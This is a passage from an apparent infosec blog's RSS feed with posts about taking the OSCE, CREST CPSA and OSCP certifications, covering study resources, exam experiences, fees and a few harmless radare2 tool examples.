      &lt;p&gt;&lt;a href=&quot;https://www.offensive-security.com/offsec/pwk-oscp-faq/&quot; target=&quot;_blank&quot;&gt;Offensive Security. “PWK &amp;amp; OSCP Frequently Asked Questions” The Offsec Blog, 11 Feb 2020&lt;/a&gt; &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:4&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://www.offensive-security.com/offsec/pwk-2020-update/&quot; target=&quot;_blank&quot;&gt;Offensive Security. “PWK: All New for 2020” The Offsec Blog, 11 Feb 2020&lt;/a&gt; &lt;a href=&quot;#fnref:4&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:5&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://www.willchatham.com/general/thoughts-on-oscp-being-outdated/&quot; target=&quot;_blank&quot;&gt;Chatham, Will. “Thoughts on OSCP being ‘outdated’”, Will Chatham(blog), 31 Aug 2019&lt;/a&gt; &lt;a href=&quot;#fnref:5&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        
          <description>&lt;p&gt;&lt;em&gt;If you want to know my experience before the update, see my bloviations &lt;a href=&quot;https://basicinfosecurity.github.io//blog/OSCP-and-Me&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
        
        <pubDate>Thu, 04 Jun 2020 00:00:00 +0000</pubDate>
        <link>https://basicinfosecurity.github.io//blog/OSCP-2020-Update-Review/</link>
        <guid isPermaLink="true">https://basicinfosecurity.github.io//blog/OSCP-2020-Update-Review/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>OSCE and Me</title>
        <description>&lt;p&gt;&lt;em&gt;So it’s time for that yearly blog update. I hope to maintain this consistency throughout the lifetime of this blog.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;catching-up&quot;&gt;Catching-up&lt;/h3&gt;
&lt;p&gt;The beginning of the year brought exciting changes to my career: A new role and a lot more time. This was perfect as there’s a lot of catching-up with the backlog of reading materials and planned trainings.&lt;/p&gt;

&lt;p&gt;Last year was tough. Work kept me from immersing in my studies; the spare time between commutes and the few moments of downtime were spent reading. But no sapling ever grew to awesome heights with specks of sunlight and drops of dew. And so I resolved to change my predicament and looked for another job.&lt;/p&gt;

&lt;p&gt;After settling-in, I attempted the &lt;a href=&quot;http://fc4.me/&quot;&gt;CTP Registration Challenge&lt;/a&gt;. While not going in stark blind, I can’t say I knew what I was doing at the time. The challenge was quite interesting and can be solved by tinkering and being “curious” of what’s under the hood.&lt;/p&gt;

&lt;h3 id=&quot;the-course&quot;&gt;The Course&lt;/h3&gt;
&lt;p&gt;The course is quite short: A month of lab time, and dedicating maybe 30 minutes to an hour every day is enough to finish it. The syllabus can be viewed as the list of the few exercises to accomplish. There are no extra exercises to attempt (unlike OSCP but more on this later). For practice, you can follow some guides out there, look for exploits in &lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;exploit-db&lt;/a&gt; or find vulnerabilities on your own (the former is more practical). Building a lab environment is feasible, and the concepts from each exercise are portable so things can be done at your own pace.&lt;/p&gt;

&lt;p&gt;The materials are easy to follow, though some topics were lacking (e.g. alphanumeric encoding). There are excellent supplementary guides from &lt;a href=&quot;https://www.corelan.be/&quot;&gt;Corelan&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.securitysift.com/&quot;&gt;SecuritySift&lt;/a&gt; that expand on the the syllabus. They’re lengthy and best studied while following along. The distro of choice is &lt;a href=&quot;https://www.backtrack-linux.org/&quot;&gt;the old Backtrack&lt;/a&gt; but any other is fine, even for the exam (&lt;a href=&quot;https://www.parrotsec.org/&quot;&gt;Parrot OS&lt;/a&gt; is a great choice). A lot of time was spent wrestling to replicate exploits locally. Sometimes it can be done with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wine&lt;/code&gt; but it is still best to keep a Windows VM handy.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/93px-WINE-logo.png&quot; /&gt;
&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;em&gt;&lt;a href=&quot;(https://wiki.winehq.org/Main_Page)&quot;&gt;WINE&lt;/a&gt; Is Not an Emulator. It’s not a miracle either.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Throughout the course, I relied heavily on &lt;a href=&quot;https://github.com/radare/radare2&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;radare2&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://r2wiki.readthedocs.io/en/latest/home/radare2-tools/&quot;&gt;radare2 tools&lt;/a&gt; (i.e. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rasm2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rax2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ragg2&lt;/code&gt;) and Python. Learning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r2&lt;/code&gt; during the course was a great boon and since then it is part of my toolset.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;A word of caution: while &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r2&lt;/code&gt; might be great, it can be pretty unreliable. Modifying files can be dodgy. For your sanity, refrain from using that feature (until they fix &lt;a href=&quot;https://github.com/radare/radare2/issues/2738&quot;&gt;this&lt;/a&gt;). I think I grew some wrinkles, in visible and non-visible places, trying to make it work.&lt;/em&gt;&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/black-rotten-banana-isolated-over-white-background-stock-photography_csp14303409.jpg&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://nets.ec/Assembly&quot;&gt;Assembly language&lt;/a&gt; is heavily used so it’s best to have references handy. The folks over at nets.ec have this &lt;a href=&quot;https://nets.ec/Ascii_shellcode&quot;&gt;great wiki&lt;/a&gt; to aid in writing shellcode, especially when encoding to Alphanumeric/ASCII. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rasm2&lt;/code&gt; is useful as well:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rasm2 &quot;jmp 16&quot;
eb0e
rasm2 -d eb0e
jmp 0x10
rasm2 -D eb0e
0x00000000 2 eb0e jmp 0x10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And for De Bruijn patterns, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ragg2&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ragg2 -P 10
41414142414143414144
ragg2 -P 10 -r
AAABAACAAD
ragg2 -q 0x43414144
Little endian: -1
Big endian: 6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r2&lt;/code&gt; is a great tool, Ollydbg is the tried &amp;amp; true debugger. Hard as I tried, I couldn’t fully do without this excellent tool. It is very beneficial to learn its &lt;a href=&quot;https://www.aldeid.com/wiki/OllyDbg&quot;&gt;basic commands&lt;/a&gt; to fully appreciate its capabilities. It’s best to know basic step commands, breakpoint setting, memory &amp;amp; command searching.&lt;/p&gt;

&lt;h3 id=&quot;the-exam-attempt&quot;&gt;The Exam Attempt&lt;/h3&gt;
&lt;p&gt;Before the week labs ended, I scheduled my exam. If I would’ve known the next available slot was a month away, I would’ve scheduled as soon as receiving the course materials! I watched the schedule page almost every day for earlier slots. In the end none opened up, and I was stuck with a crappy one which began past midnight on a work day. Having no more lab time, I resolved to practice on my own and study exploits from exploit-db.&lt;/p&gt;

&lt;p&gt;Exam day arrived. First day: things were going great. Two items solved, two remained. Though a simple mistake crushed my chances. Basically, I was smart enough not to realize that &lt;a href=&quot;https://blogs.msdn.microsoft.com/jiangyue/2010/03/15/windows-heap-overrun-monitoring/&quot;&gt;opening an application through the debugger&lt;/a&gt; is not the same as &lt;a href=&quot;http://www.nobugs.org/developer/win32/debug_crt_heap.html&quot;&gt;opening an application and attaching the debugger to it&lt;/a&gt;. That proved to be a critical (and costly) mistake. The exam ended with arms raised in frustrated defeat. It didn’t really feel that bad because I can always try again. That is until the next day when the mistake was discovered &lt;strong&gt;with&lt;/strong&gt; the vulnerability that was missed!&lt;/p&gt;

&lt;p&gt;On the third day &lt;del&gt;(half)&lt;/del&gt; a report was submitted to offsec. &lt;strong&gt;Big Oof.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-exam-attempt-part-deux&quot;&gt;The Exam Attempt (Part Deux)&lt;/h3&gt;
&lt;p&gt;The schedule was still tightly booked; the next slot was another month away. &lt;em&gt;“No matter”&lt;/em&gt;, I thought. &lt;em&gt;“I’ll make it this time.”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Realizing my errors and shortcomings, I resolved to work on them. I polished my code and ported them from my home lab to the course lab (to get a re-attempt, a lab extension must be purchased). I felt refreshed and ready to try again.&lt;/p&gt;

&lt;p&gt;Exam day arrived again. This time I had a better schedule and a clearer path. &lt;strong&gt;And yeah&lt;/strong&gt;, I made sure to start the app and attach the debugger this time &lt;em&gt;(as anyone with sense has been doing all this time)&lt;/em&gt;. I was able to finish up on the first day, wrote the report and sent it off for grading by Saturday midnight.&lt;/p&gt;

&lt;h3 id=&quot;try-waiting-harder&quot;&gt;Try (Waiting) Harder&lt;/h3&gt;
&lt;p&gt;The next week was spent in anxious waiting. The lack of updates from offsec had me in a nervous state. &lt;em&gt;“Did I miss anything? Are my solutions wrong? Were hundreds of screenshots not enough?”&lt;/em&gt; By the middle of the week, I broke the silence and reached out through email and live chat. They politely told me to &lt;del&gt;fuck off&lt;/del&gt; wait as the report was still being graded. I didn’t want to risk waiting for a failed result and spend the rest of the year retaking the exam over and over and over and…&lt;/p&gt;

&lt;p&gt;By Saturday night, the results came in. While it felt great to pass, it did not feel as jubilant it should have been. Offsec has excellent service, but I believe their processes can be improved, especially when their certs are gaining worth and recognition. Nevertheless, I thanked their support staff for putting up with my whining and for confering the certification.&lt;/p&gt;

&lt;h3 id=&quot;wrapping-up&quot;&gt;Wrapping up&lt;/h3&gt;
&lt;p&gt;OSCE is a really great course and it deepened my knowledge and understanding of exploit development. It shows its age which, in itself, is an old criticism. But there is little to update to this course anyway, at least for exploit development. Sure the practice vulnerabilities can be updated but that is as far as it goes. The Web &amp;amp; Network related topics seem to be there to pad the course out. Surely, these topics are areas in need of improvement.&lt;/p&gt;

&lt;p&gt;While short, it felt a lot shorter. In OSCP, there were three networks to break but for OSCE there isn’t even one. To practice, you must build a lab. The price bump seems hard to justify, but there aren’t many courses that can compare on top of its industry recognition among other things.&lt;/p&gt;

&lt;p&gt;I am still grateful for taking this course, and I am excited to take on OSEE. It’s damn expensive but as they say, &lt;em&gt;“See how”&lt;/em&gt;.&lt;/p&gt;

&lt;h3 id=&quot;study-materials&quot;&gt;Study Materials&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Note: I didn’t really have a study plan so I just followed other people’s guides, which were more than enough.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://tulpa-security.com/2017/07/18/288/&quot;&gt;OSCE/CTP Prep Guide (Tulpa Security)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/pulse/osce-course-exam-review-christopher-hudel&quot;&gt;OSCE Course &amp;amp; Exam Review (Christopher Hudel)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.abatchy.com/2017/03/osce-study-plan&quot;&gt;OSCE Study Plan (abatchy)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.corelan.be/index.php/articles/&quot;&gt;Corelan (Yeah, all of it)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.securitysift.com/windows-exploit-development-part-1-basics/&quot;&gt;Windows Exploit Development (SecuritySift)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.fuzzysecurity.com/tutorials/expDev/6.html&quot;&gt;Writing W32 shellcode (FuzzySecurity)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aboureada.com/cheat_sheet/2017/12/20/radare2_cheat_sheet.html&quot;&gt;Radare2 cheat Sheet (Anas Aboureada)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.exploit-db.com/&quot;&gt;Exploit-DB&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.aldeid.com/wiki/OllyDbg&quot;&gt;Ollydbg (Aldeid)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=BrDujogxYSk&quot;&gt;Basics of fuzzing (Gynvael)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wildfire.blazeinfosec.com/fuzzing-proprietary-protocols-with-scapy-radamsa-and-a-handful-of-pcaps/&quot;&gt;Fuzzing proprietary protocols with Scapy, radamsa and a handful of PCAPs (Wildfire Labs)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nostarch.com/hacking2.htm&quot;&gt;Hacking: The Art of Exploitation 2nd Ed. (Jon Erickson)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.wiley.com/en-sg/The+Shellcoder%27s+Handbook%3A+Discovering+and+Exploiting+Security+Holes%2C+2nd+Edition-p-9780470080238&quot;&gt;The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd Edition (Anley, Heasman, Lindner, Richarte)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        
          <description>&lt;p&gt;&lt;em&gt;So it’s time for that yearly blog update. I hope to maintain this consistency throughout the lifetime of this blog.&lt;/em&gt;&lt;/p&gt;

</description>
        
        <pubDate>Sun, 02 Jun 2019 00:00:00 +0000</pubDate>
        <link>https://basicinfosecurity.github.io//blog/OSCE-and-Me/</link>
        <guid isPermaLink="true">https://basicinfosecurity.github.io//blog/OSCE-and-Me/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>CREST CPSA Exam</title>
        <description>&lt;p&gt;&lt;em&gt;This post aims to give a rough guide on how to attain CPSA status for OSCP takers.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;what-is-cpsa&quot;&gt;What is CPSA?&lt;/h3&gt;
&lt;p&gt;CREST is a &lt;em&gt;not-for-profit&lt;/em&gt; (contra &lt;a href=&quot;https://strategiccfo.com/non-profit-vs-profit/&quot;&gt;&lt;em&gt;non-profit&lt;/em&gt;&lt;/a&gt;) organization that provides accreditation and certification related to information security. If you’re a pentester, chances are you’ve come by a role/job that desires certifications from CREST. Most notable are CRT and CPSA.&lt;/p&gt;

&lt;p&gt;CREST Registered Penetration Tester or &lt;a href=&quot;https://www.crest-approved.org/examination/registered-tester/index.html&quot;&gt;CRT&lt;/a&gt; is basically the equivalent of OSCP as it assesses the hands-on, technical skills of an individual. CREST Practitioner Security Analyst or &lt;a href=&quot;https://www.crest-approved.org/examination/practitioner-security-analyst/index.html&quot;&gt;CPSA&lt;/a&gt; is the counterpart that tests for knowledgeability. Having both CRT and CPSA grants you &lt;strong&gt;Full CREST Equivalency&lt;/strong&gt;. You can check out their &lt;a href=&quot;https://www.crest-approved.org/index.html&quot;&gt;website&lt;/a&gt; for more info.&lt;/p&gt;

&lt;h3 id=&quot;why-get-full-crest-equivalency&quot;&gt;Why get Full CREST Equivalency?&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.kym-cdn.com/photos/images/newsfeed/001/090/408/b48.jpg&quot; alt=&quot;Meme 1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is a good cert to go after as it is widely-known and it’s actually cheaper for OSCP holders: Normally it would cost around £645 (CRT is £395 and CPSA is £250, without VAT). You can also check out why to get certified from this &lt;a href=&quot;https://www.crest-approved.org/professional-qualifications/why-a-crest-assessment/index.html&quot;&gt;page&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;how-do-you-get-full-equivalency&quot;&gt;How do you get Full Equivalency?&lt;/h3&gt;
&lt;p&gt;If you took OSCP first before possessing any CREST-related certs, you have the opportunity to get CRT and CPSA certified or Full equivalency.&lt;/p&gt;

&lt;h4 id=&quot;process&quot;&gt;Process&lt;/h4&gt;
&lt;ol&gt;
  &lt;li&gt;Send an email to CREST at &lt;a href=&quot;mailto:exambookings@crest-approved.org&quot;&gt;exambookings@crest-approved.org&lt;/a&gt; requesting Full CREST equivalency. Include the following:
    &lt;ul&gt;
      &lt;li&gt;Updated CV&lt;/li&gt;
      &lt;li&gt;Proof of your OSCP attainment: Include your OSID and a scan of your certificate.&lt;/li&gt;
      &lt;li&gt;A signed copy of the CREST Code of Conduct. (You may need to get an updated copy from them first.)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Send your billing details. These will be used to send the CRT cert* and the billing for the CPSA exam. (It took &lt;strong&gt;about two weeks&lt;/strong&gt; for my certificate to be delivered):
    &lt;ul&gt;
      &lt;li&gt;Contact name&lt;/li&gt;
      &lt;li&gt;Email address (kind of redundant but you know)&lt;/li&gt;
      &lt;li&gt;Postal address&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Pay the Administration fee (£350)**. After payment you will receive instructions to update your profile and submit your application in their portal.&lt;/li&gt;
  &lt;li&gt;Schedule the exam. You will receive an email containing the voucher code and instructions for setting-up an your exam schedule.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;The CRT cert you receive will only be valid for &lt;strong&gt;six months&lt;/strong&gt; after which it will be revoked. By passing the CPSA exam, you will be granted with Full CREST equivalency extending the validity to 3 years after attainment of OSCP.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;**&lt;em&gt;If you failed your attempt, you have to &lt;strong&gt;pay again&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In order to minimize procrastination, I scheduled the exam as early as a month ahead. In this way, I have some time to comfortably prepare while keeping a reasonable deadline.&lt;/p&gt;
&lt;h3 id=&quot;preparation&quot;&gt;Preparation&lt;/h3&gt;
&lt;p&gt;The topics covered in the exam can be found in the &lt;a href=&quot;https://www.crest-approved.org/wp-content/uploads/crest-crt-cpsa-technical-syllabus-2.1.pdf&quot;&gt;CPSA syllabus&lt;/a&gt;. As of this writing there are &lt;strong&gt;ten knowledge groups&lt;/strong&gt; which can be condensed roughly into:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Soft skills&lt;/li&gt;
  &lt;li&gt;Pentesting methodology&lt;/li&gt;
  &lt;li&gt;Networking Security&lt;/li&gt;
  &lt;li&gt;Web Security&lt;/li&gt;
  &lt;li&gt;OS &amp;amp; Database Security&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The syllabus contains everything you need to pass the exam. I say “pass” as getting down the basics of all the knowledge groups will probably net you the minimum needed to pass the exam.&lt;/p&gt;

&lt;p&gt;Some important things to note:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The exam has &lt;strong&gt;120 Multiple Choice items&lt;/strong&gt; to be answered within &lt;strong&gt;2 hours&lt;/strong&gt;. The passing mark is &lt;strong&gt;60%&lt;/strong&gt;(72 items).&lt;/li&gt;
  &lt;li&gt;It is &lt;strong&gt;closed book&lt;/strong&gt;, no notes and references can be used while taking the exam.&lt;/li&gt;
  &lt;li&gt;Additionally, there’s the &lt;del&gt;dreaded&lt;/del&gt; NDA to be signed before taking the exam. Breaching it will revoke your CREST certification.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img height=&quot;500px&quot; width=&quot;700px&quot; src=&quot;https://basicinfosecurity.github.io//assets/img/Scriptorium-monk-at-work.jpg&quot; alt=&quot;Studying&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Prep work can be straightforward, but the difficulty lies in investing time and effort. As the syllabus is the only yardstick you have, it’s hard to know the depth for each topic in each knowledge group. It’s easy to think that overpreparation is a good approach. But it is far better to focus on getting the gist rather than going deep, especially in areas you are lacking. Aim for a good spread: more basics nailed down, more improvement to your chances to pass. I encountered some “Gotcha!” questions in the exam, questions I thought required a certain amount of experience to answer, and some which were somewhat esoteric. But in hindsight, a good foundation was key in helping me to pass.&lt;/p&gt;

&lt;p&gt;With regards to study materials, there’s no better way than to google for them. You should only include materials you have some “confidence” in. If a material is too difficult, it probably won’t stick. If it’s too shallow, there might be better alternatives. Keep them concise and organized to make them more digestible. If some topics are your weak areas, always remember to include only the basics. For general references, you can rely on &lt;a href=&quot;https://www.owasp.org/index.php/Main_Page&quot;&gt;OWASP&lt;/a&gt; and Wikipedia.&lt;/p&gt;

&lt;p&gt;CREST also recommends some books and courses for prep work. If you can spare the money, go for the courses. Having options and alternative studying methods are always great. Having said that, I can’t make any personal recommendation of the courses as I am always trying to keep my expenses down. For books, I own &lt;a href=&quot;https://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504&quot;&gt;Red Team Field Manual&lt;/a&gt; &amp;amp; &lt;a href=&quot;https://www.amazon.com/Cryptography-Engineering-Principles-Practical-Applications/dp/0470474246&quot;&gt;Cryptography Engineering&lt;/a&gt;. Having &lt;del&gt;partially&lt;/del&gt; read both of them, these are books I can recommend. I also read &lt;a href=&quot;https://www.amazon.com/Attacking-Network-Protocols-Analysis-Exploitation/dp/1593277504&quot;&gt;Attacking Network Protocols by James Forshaw&lt;/a&gt; which covers a lot of the topics related to network and web protocols, cryptography, and related vulnerabilities.&lt;/p&gt;

&lt;p&gt;Studying for the exam took about a month, but I wasn’t studying everyday. I incorporated “&lt;a href=&quot;https://en.wikipedia.org/wiki/Spaced_repetition&quot;&gt;&lt;em&gt;Spaced Repetition&lt;/em&gt;&lt;/a&gt;” due to the amount of material to be absorbed. My approach was to intensely study as much of the reviewer as I could for the first week, and then study again a week before my exam &lt;del&gt;and cram on the day before&lt;/del&gt;. For those two weeks in between, I would do other stuff. I found this to be a great approach as it takes advantage of how the brain operates when it has some unfinished task, when it’s forgetting and it’s trying to remember stuff etc. It may seem stressful but overall the experience was actually pleasant.&lt;/p&gt;

&lt;h3 id=&quot;exam-day&quot;&gt;Exam Day&lt;/h3&gt;

&lt;p&gt;The exam took an hour to finish. The remaining time was used to review and tally the items I was confident to be correct. This helped me assess the likelihood of passing. The final tally ended up being really close to the score I got in the end. After the exam, the results were given right away.&lt;/p&gt;

&lt;h3 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;Taking CPSA was a perplexing experience. Preparing for the exam felt like guesswork even if a syllabus was provided. It feels as if I took it again, I would be facing a different beast. It didn’t really feel like it was a test of knowledge and experience. Rather, it felt like a test of how much trivia I can fit in my head. Perhaps I have some misplaced expecations from the exam. Despite these misgivings, I can still recommend this cert for any aspiring candidates. It’s a good cert that can open doors for professionals who have taken OSCP, especially for those who recently passed and looking for their next challenge and a boost to their profile. Give it a try if you’re interested.&lt;/p&gt;

&lt;p&gt;If you have further questions feel free to &lt;a href=&quot;/contact&quot;&gt;contact&lt;/a&gt; me. Good luck!&lt;/p&gt;

</description>
        
          <description>&lt;p&gt;&lt;em&gt;This post aims to give a rough guide on how to attain CPSA status for OSCP takers.&lt;/em&gt;&lt;/p&gt;

</description>
        
        <pubDate>Sun, 23 Sep 2018 00:00:00 +0000</pubDate>
        <link>https://basicinfosecurity.github.io//blog/CREST-CPSA/</link>
        <guid isPermaLink="true">https://basicinfosecurity.github.io//blog/CREST-CPSA/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>OSCP and Me</title>
        <description>&lt;p&gt;&lt;em&gt;This post took some time to write as I had my laptop’s keyboard fixed. In my eagerness to reach for water, I spilled it over my keyboard. If this happened during my exam, my bowels would have dropped with biblical magnitude.&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;a-bit-of-history&quot;&gt;A Bit of History&lt;/h3&gt;

&lt;p&gt;Last year, I set my goals for 2017. My top priority was to achieve OSCP. This cert was awesome because:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;It was relatively cheaper than other industry-recognized certs.&lt;/li&gt;
  &lt;li&gt;It was highly regarded by most security professionals due to the difficulty of the accompanying course, among other reasons.&lt;/li&gt;
  &lt;li&gt;It greatly enhances students’ knowledge on “Offensive Security” (more of the subject and less (incidentally) about the vendor)&lt;/li&gt;
  &lt;li&gt;It had no “maintenance fees”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At that time I knew I was far from prepared:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Neither did I know how to avail the course nor did I personally knew any OSCP holder who can guide me.&lt;/li&gt;
  &lt;li&gt;There were huge gaps between my knowledge and of the subjects included in the &lt;a href=&quot;https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf&quot;&gt;PWK Course Syllabus&lt;/a&gt;, particularly with Buffer Overflows, Client Side Attacks and Port Redirection and Tunneling.&lt;/li&gt;
  &lt;li&gt;My pentesting skills, though palpable, were not mature enough. They were mostly effective in isolated environments (e.g. vulnhubs).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A good way to know if you’re prepared is to ask “If you were in the middle of a situation &lt;em&gt;X&lt;/em&gt;, would you overcome it?”. If someone asked me to take the course at that moment, I would have struggled twice as hard than if I had prepared appropriately.&lt;/p&gt;

&lt;h3 id=&quot;whats-the-plan&quot;&gt;What’s the plan?&lt;/h3&gt;

&lt;p&gt;To prepare, it was necessary to take stock of my overall capabilities and resources:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;I had ample knowledge of web vulnerabilities from Vulnhub VMs and CTFs.&lt;/li&gt;
  &lt;li&gt;I knew how to read and to program in various programming languages, particularly Python.&lt;/li&gt;
  &lt;li&gt;I am experienced in using Linux, particularly, Kali.&lt;/li&gt;
  &lt;li&gt;I had a good laptop that is capable of running VMs.&lt;/li&gt;
  &lt;li&gt;I had a fundamental understanding of network protocols (e.g. TCP, UDP)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;My biggest hurdle was on the subject of Buffer Overflows as my knowledge of it was mediocre. I knew nothing of Client Side attacks and I can barely simulate port forwarding. Everything else in the PWK Syllabus I have already practiced. It was only a matter of filling up these gaps in order to be competent enough for the course. But I also had practical worries:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Money - There was less than a year to save up for the budget.&lt;/li&gt;
  &lt;li&gt;Time -  There was less than a year to study.&lt;/li&gt;
  &lt;li&gt;Internet - My internet plan needed to support the VPN for the labs. Internet in the Philippines can be described with various four letter words. Decide which you prefer.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If I wanted to take the course, I needed enough time and money to capture my budget and to allot time for the course and any exam attempts. For my plan to work, I needed to save enough for the 60 day labs + Exam attempt package and upgrading my internet plan.&lt;/p&gt;

&lt;p&gt;My plan was simple but risky.&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Save enough money to avail the course and any retake attempts.&lt;/li&gt;
  &lt;li&gt;Gather enough studying material based on the PWK course syllabus.&lt;/li&gt;
  &lt;li&gt;Study the materials to gain enough knowledge to accomplish the labs as soon as the course starts.&lt;/li&gt;
  &lt;li&gt;Take the exam.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Its slipshod and not recommended. Due to my financial situation, I had to adapt to a strict budget and time frame which seemed to convolute things. Indeed they did. But time and money were not on my side. I have been saving up for a long time ever since I made OSCP one of my goals for 2017. The rate at which I saved only allowed 60 days worth of labtime with a cushion fund for about two retakes. If I wanted 90 days worth of labs, my goal would have been pushed to 2018 as it meant I would need to begin my labs at a later date. That was unacceptable; I had to be practical if I were to do it.&lt;/p&gt;

&lt;h3 id=&quot;the-plan-in-action&quot;&gt;The &lt;em&gt;“Plan”&lt;/em&gt; in action&lt;/h3&gt;

&lt;p&gt;The budget needed to be built right away. For the following months, I set aside an additional portion of my pay, besides my savings, and any extra income for the budget. At the same time, I studied. To make the most out of lab time, I needed to be equipped with the basic skills necessary to progress as soon as it started. But my pace was leisurely. It does not take too much time to acquire the basic skills as most of the time was used in practising and honing them. I did Vulnhub VMs whenever I could and read whenever I were away from my laptop. I also begun collecting blog posts and articles of OSCP holders to get an idea of what to expect from the course. &lt;a href=&quot;http://www.techexams.net/forums/security-certifications/110760-oscp-jollyfrogs-tale.html&quot;&gt;Jollyfrogs’ account&lt;/a&gt; of the course mentions that there were around 60 machines (in truth there were around 50) in the labs. This was both fortunate and unfortunate as though there were enough lab time, it required taking down one machine per day.&lt;/p&gt;

